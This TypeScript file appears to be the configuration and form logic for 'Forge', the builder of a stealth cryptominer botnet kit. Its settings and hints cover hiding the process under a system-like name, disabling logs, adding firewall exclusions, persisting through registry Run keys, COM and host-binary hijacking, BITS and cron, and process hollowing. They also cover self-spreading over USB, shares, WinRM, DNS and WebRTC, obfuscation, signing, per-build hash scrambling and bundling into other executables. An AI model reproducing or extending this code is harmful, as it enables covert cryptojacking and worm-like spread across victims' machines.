import type { BuildRequest } from '../types'; import { normalizeForgeForm } from './forgeFormNormalize'; export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires'; export interface ForgeFieldMeta { disabled: boolean; lockedReason?: string; badge?: ForgeFieldBadge; hint?: string; } export interface ForgeSectionMeta { id: string; title: string; description: string; badge: ForgeFieldBadge; } /** What each Forge section controls — shown in the UI header. */ export const FORGE_SECTIONS: ForgeSectionMeta[] = [ { id: 'identity', title: 'Identity', description: 'Worker label, control server URL, payout wallet — all baked into the installer.', badge: 'baked', }, { id: 'pool', title: 'Pool Configuration', description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.', badge: 'baked', }, { id: 'performance', title: 'Performance & Resources', description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.', badge: 'baked', }, { id: 'install', title: 'Install & Process', description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.', badge: 'baked', }, { id: 'fusion', title: 'Fusion', description: 'Optional prep.exe bundling. Baked into the fused output file.', badge: 'baked', }, { id: 'ai', title: 'AI Autonomy', description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.', badge: 'baked', }, ]; const BADGE_LABELS: Record = { baked: 'Baked into installer', 'server-only': 'Server folder only — not in .exe', requires: 'Required when parent option is on', }; export function forgeBadgeLabel(badge: ForgeFieldBadge): string { return BADGE_LABELS[badge]; } /** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */ export function applyForgeFieldUpdate( form: BuildRequest, field: keyof BuildRequest, value: unknown ): BuildRequest { const next: BuildRequest = { ...form, [field]: value } as BuildRequest; switch (field) { case 'stealth_mode': if (value === true) { next.file_logging = false; if (next.display_mode === 'visible') { next.display_mode = 'background'; } next.silent_mode = true; } break; case 'display_mode': if (value === 'visible') { next.stealth_mode = false; next.silent_mode = false; } else if (value === 'silent' || value === 'background') { next.silent_mode = true; } break; case 'persistence': next.auto_start = value === true; break; case 'auto_start': next.persistence = value === true; break; case 'target_os': if (value !== 'windows' && value !== 'universal') { next.process_hollowing = false; next.sign_build = false; if (value !== 'universal') { next.obfuscate = false; } } if (value === 'linux' || value === 'darwin') { next.spread_kit = false; next.target_arch = value === 'darwin' ? 'arm64' : 'amd64'; if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) { next.install_base = 'xdg_data_home'; } } else if (value === 'windows') { next.target_arch = 'all'; if (next.install_base === 'xdg_data_home') { next.install_base = 'localappdata'; } } else if (value === 'universal') { next.target_arch = 'all'; } break; case 'apk_mode': if (value === true) { Object.assign(next, { apk_mode: true, fusion_enabled: false, spread_kit: false, target_os: 'android', target_arch: 'arm64', mining_disabled: true, gpu_enabled: false, threads: 1, thread_mode: 'fixed', display_mode: 'background', silent_mode: true, stealth_mode: true, file_logging: false, }); if (!next.apk_agent_name?.trim()) { next.apk_agent_name = next.worker_name; } } else { next.apk_mode = false; next.mining_disabled = false; if (next.target_os === 'android') { next.target_os = 'windows'; next.target_arch = 'all'; } } break; case 'fusion_enabled': if (value === true) { next.apk_mode = false; next.display_mode = 'background'; next.silent_mode = true; next.spread_kit = false; if (!next.target_os || next.target_os === 'windows') { next.target_os = 'universal'; } } break; case 'spread_kit': if (value === true) { Object.assign(next, { fusion_enabled: false, target_os: 'universal', target_arch: 'all', run_as: 'scheduled', persistence: true, auto_start: true, self_healing: true, stealth_mode: true, silent_mode: true, file_logging: false, firewall_exclusion: true, display_mode: 'background', process_hollowing: false, }); } break; case 'thread_mode': if (value === 'fixed' && next.threads < 1) { next.threads = 4; } if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) { next.thread_percent = 75; } break; case 'mining_mode': if (value === 'always') { // keep idle/schedule values for if user switches back } break; case 'install_base': if (value !== 'custom') { next.install_custom_base = ''; } break; case 'run_as': if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') { // Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality next.persistence = true; next.auto_start = true; } if (value === 'host_binary' && !next.host_binary_target?.trim()) { next.host_binary_target = 'ssh'; } break; case 'ai_enabled': if (value === true) { if (!next.ai_ollama_endpoint?.trim()) { next.ai_ollama_endpoint = 'http://localhost:11434'; } if (!next.ai_model?.trim()) { next.ai_model = 'llama3.2'; } } break; case 'pool_port': if (typeof value === 'number') { if (value === 443 && !next.pool_tls) { next.pool_tls = true; } } break; case 'worker_name': // Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default. // Users can override process_name manually in Advanced mode. break; case 'pool_tls': if (value === true && next.pool_port === 3333) { // common pools use 443 for TLS — warn in preflight, don't auto-change port } break; } return normalizeForgeForm(next); } /** Per-field UI state: disabled fields + why. */ export function getForgeFieldMeta(form: BuildRequest): Record { const isFixedThreads = form.thread_mode === 'fixed'; const isIdle = form.mining_mode === 'idle'; const isScheduled = form.mining_mode === 'scheduled'; const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service' || form.run_as === 'bits' || form.run_as === 'host_binary'; const isHostBinaryRun = form.run_as === 'host_binary'; const targetOs = form.target_os || 'windows'; const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin'; const isWindowsOnly = targetOs === 'windows'; const isUniversal = targetOs === 'universal'; const isSpreadKit = !!form.spread_kit; const isFusion = !!form.fusion_enabled; const isApk = !!form.apk_mode; return { worker_name: { disabled: false, badge: 'baked' }, server_url: { disabled: false, badge: 'baked' }, https_beacon_fallback: { disabled: false, badge: 'baked' }, https_beacon_after_min: { disabled: false, badge: 'baked' }, wallet: { disabled: isApk, badge: 'baked', lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined, }, apk_mode: { disabled: isSpreadKit, badge: 'baked' }, apk_agent_name: { disabled: !isApk, badge: 'baked', lockedReason: !isApk ? 'Enable APK mode first.' : undefined, }, output_dir: { disabled: false, badge: 'server-only', hint: 'Only copies the built files on this PC — not embedded in the worker.', }, pool_host: { disabled: false, badge: 'baked' }, pool_port: { disabled: false, badge: 'baked' }, pool_tls: { disabled: false, badge: 'baked' }, pool_pass: { disabled: false, badge: 'baked' }, thread_mode: { disabled: false, badge: 'baked' }, thread_percent: { disabled: isFixedThreads, badge: 'baked', lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined, }, threads: { disabled: !isFixedThreads, badge: 'baked', lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined, }, cpu_priority: { disabled: false, badge: 'baked' }, max_cpu_usage_pct: { disabled: false, badge: 'baked' }, max_memory_percent: { disabled: false, badge: 'baked' }, min_free_ram_mb: { disabled: false, badge: 'baked' }, mining_mode: { disabled: false, badge: 'baked' }, miner_execution: { disabled: false, badge: 'baked', hint: 'Auto/container tiers need a worker image on the host: docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest . Override tag with AETHERFORGE_MINER_IMAGE.', }, idle_threshold_pct: { disabled: !isIdle, badge: 'requires', lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined, }, idle_duration_minutes: { disabled: !isIdle, badge: 'requires', lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined, }, schedule_start: { disabled: !isScheduled, badge: 'requires', lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined, }, schedule_end: { disabled: !isScheduled, badge: 'requires', lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined, }, install_base: { disabled: false, badge: 'baked' }, install_custom_base: { disabled: form.install_base !== 'custom', badge: 'requires', lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined, }, install_relative_path: { disabled: false, badge: 'baked' }, adapt_to_hardware: { disabled: isFixedThreads, badge: 'baked', lockedReason: isFixedThreads ? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.' : undefined, }, self_healing: { disabled: false, badge: 'baked' }, firewall_exclusion: { disabled: false, badge: 'baked' }, stealth_mode: { disabled: false, badge: 'baked' }, file_logging: { disabled: form.stealth_mode, badge: 'baked', lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined, }, process_name: { disabled: false, badge: 'baked' }, display_mode: { disabled: false, badge: 'baked' }, persistence: { disabled: runAsForcedPersistence, badge: 'baked', lockedReason: runAsForcedPersistence ? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.' : undefined, }, auto_start: { disabled: runAsForcedPersistence, badge: 'baked', lockedReason: runAsForcedPersistence ? 'Linked to persistence — Scheduled/Service mode always auto-starts.' : undefined, }, autostart_mode: { disabled: !isWindowsOnly && !isUniversal, badge: 'baked', lockedReason: !isWindowsOnly && !isUniversal ? 'Boot/logon autostart hooks are Windows-only.' : undefined, }, registry_run_hkcu: { disabled: !isWindowsOnly && !isUniversal, badge: 'baked', lockedReason: !isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined, }, registry_run_once: { disabled: !isWindowsOnly && !isUniversal, badge: 'baked', lockedReason: !isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined, }, registry_run_hklm: { disabled: !isWindowsOnly && !isUniversal, badge: 'baked', lockedReason: !isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined, }, registry_explorer_run: { disabled: !isWindowsOnly && !isUniversal, badge: 'baked', lockedReason: !isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined, }, run_as: { disabled: false, badge: 'baked' }, host_binary_target: { disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal), badge: 'baked', lockedReason: !isHostBinaryRun ? 'Select Run As → Host Binary Hijack to choose a client binary.' : !isWindowsOnly && !isUniversal ? 'Host binary hijack is Windows-only.' : undefined, hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.', }, fusion_enabled: { disabled: isSpreadKit || isApk, badge: 'baked', lockedReason: isApk ? 'Fusion is not available for APK fleet nodes.' : isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined, }, fusion_prep: { disabled: !form.fusion_enabled, badge: 'requires', lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined, }, fusion_run_order: { disabled: !form.fusion_enabled, badge: 'requires', lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined, }, fusion_output_name: { disabled: !form.fusion_enabled, badge: 'requires', lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined, }, ai_enabled: { disabled: false, badge: 'baked' }, ai_ollama_endpoint: { disabled: !form.ai_enabled, badge: 'requires', lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined, }, ai_model: { disabled: !form.ai_enabled, badge: 'requires', lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined, }, process_hollowing: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'Process hollowing is Windows-only.' : isUniversal ? 'Only baked into the Windows worker inside universal builds.' : undefined, hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined, }, mesh_p2p: { disabled: false, badge: 'baked' }, auto_spread: { disabled: false, badge: 'baked' }, hole_punch: { disabled: false, badge: 'baked' }, remote_aggressive: { disabled: false, badge: 'baked' }, usb_spread: { disabled: false, badge: 'baked' }, share_spread: { disabled: false, badge: 'baked' }, winrm_spread: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'WinRM spread is Windows-only.' : isUniversal ? 'Only baked into the Windows worker inside universal builds.' : undefined, hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined, }, dns_txt_spread: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined, hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined, }, wsus_cache_peer_spread: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined, }, wsus_format_mimic: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'WSUS format mimic is Windows-only.' : undefined, hint: 'Default ON — staged chunks use *.cab.partial filenames with SSU/CAB-like headers (format mimicry, not packing).', }, webrtc_mesh_spread: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined, hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).', }, com_hijack_persist: { disabled: isUnixSingle, badge: 'baked', lockedReason: isUnixSingle ? 'COM hijack persistence is Windows-only.' : isUniversal ? 'Only baked into the Windows worker inside universal builds.' : undefined, hint: isUniversal ? 'Windows agents only — high-friction persistence via InprocServer32 CLSID hijack.' : undefined, }, linux_lotl_mode: { disabled: isWindowsOnly, badge: 'baked', lockedReason: isWindowsOnly ? 'Linux LOTL persistence applies to Linux/universal builds only.' : undefined, hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined, }, target_os: { disabled: isSpreadKit || isFusion || isApk, badge: 'baked', lockedReason: isApk ? 'APK mode locks target to Android arm64.' : isSpreadKit ? 'Spread Kit always targets all platforms (Universal).' : isFusion ? 'Movie fusion always builds a universal ZIP.' : undefined, }, target_arch: { disabled: !isUnixSingle || isApk, badge: 'baked', lockedReason: isApk ? 'APK mode locks architecture to arm64.' : !isUnixSingle ? 'Pick Linux or macOS as Target OS to choose architecture.' : undefined, }, spread_kit: { disabled: isFusion, badge: 'baked', lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined, }, obfuscate: { disabled: isUnixSingle, badge: 'server-only', lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined, hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined, }, sign_build: { disabled: !isWindowsOnly && !isUniversal, badge: 'server-only', lockedReason: !isWindowsOnly && !isUniversal ? 'Authenticode signing applies to Windows .exe output only.' : undefined, hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined, }, sigil_scramble: { disabled: false, badge: 'server-only', hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.', }, }; } /** Live incompatibility notices shown above the form. */ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] { const notices: string[] = []; if (form.run_as === 'service') { notices.push( 'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.' ); } if (form.run_as === 'bits') { notices.push( 'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).' ); } if (form.run_as === 'host_binary') { notices.push( `Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).` ); } if ( (form.run_as === 'scheduled' || form.run_as === 'service' || form.run_as === 'bits' || form.run_as === 'host_binary') && !form.persistence ) { notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.'); } if (form.fusion_enabled && !fusionPrepSelected) { notices.push('Fusion is enabled — upload prep.exe before you can forge.'); } if (form.ai_enabled) { notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.'); } if (form.thread_mode === 'fixed' && form.adapt_to_hardware) { notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.'); } if (form.pool_port === 443 && !form.pool_tls) { notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.'); } if (form.pool_tls && form.pool_port === 3333) { notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.'); } if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') { notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.'); } if (form.target_os === 'universal') { notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.'); } if (form.spread_kit) { notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.'); } if (form.fusion_enabled) { notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.'); } if (form.target_os === 'linux' || form.target_os === 'darwin') { notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`); } if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) { notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.'); } const execMode = form.miner_execution ?? 'auto'; if (execMode === 'auto' || execMode === 'container') { notices.push( 'Container/auto execution needs aetherforge/agent-worker:latest on the operator host — build with docker/Dockerfile.agent (set AETHERFORGE_MINER_IMAGE to override).' ); } return notices; }